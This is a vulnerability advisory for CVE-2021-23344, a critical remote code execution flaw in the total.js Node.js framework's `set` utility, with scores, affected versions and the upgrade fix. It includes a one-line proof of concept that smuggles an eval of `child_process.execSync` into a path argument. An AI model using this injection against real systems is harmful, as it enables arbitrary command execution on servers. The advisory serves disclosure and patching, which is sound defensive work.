CVE-2021-23344
total.js Remote Code Execution Vulnerability
9.8
CRITICAL
CVSS 3.1
EPSS 12.7%
Description
total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application. Affected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`. ### PoC ```js // To be run in a nodejs console: require('total.js/utils').set({}, 'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//') ```
How to fix CVE-2021-23344
To remediate CVE-2021-23344, upgrade the affected package to a fixed version below.
- —upgrade to 3.4.8 or later
Is CVE-2021-23344 being exploited?
Moderate — EPSS is 12.7%. Track this CVE but it's not at the top of the prioritisation list.
Affected packages (1)
- from 0, < 3.4.8
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |